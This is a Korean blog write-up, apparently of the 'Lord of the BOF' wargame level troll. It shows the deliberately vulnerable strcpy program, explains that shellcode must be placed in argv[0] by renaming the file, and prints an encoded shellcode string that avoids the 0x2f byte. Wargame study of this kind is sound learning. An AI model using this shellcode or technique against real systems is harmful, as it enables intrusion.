orge

lob

orge

oogu ㅣ 2022. 12. 10. 18:18

/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}

스택은 바뀌지가 않는다 ㅋ

argc 개수 제한 때문에 argv[2]에 못 넣고 argv[1]은 초기화된다. 따라서 argv[0]에 shellcode를 넣어야겠다. -> 생각은 했는데 어떻게 넣는지 몰라서 삽질.. 파이썬으로 하면되는데..

[그림 1-3] 보면 실패가 된다.

이걸 찾아보니 파일이름에 "\x2f"가 들어가게되면 그 의미가 " / " 가 되어서 디렉토리 구분인자로 인식되어버리기 때문에 이름을 제대로 바꿀 수가 없다. 그렇기 때문에 "\x2f"가 없는 쉘코드를 사용해야한다.

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

구글링해서 위 쉘코드를 가져왔다. /x2f 없음ㅋ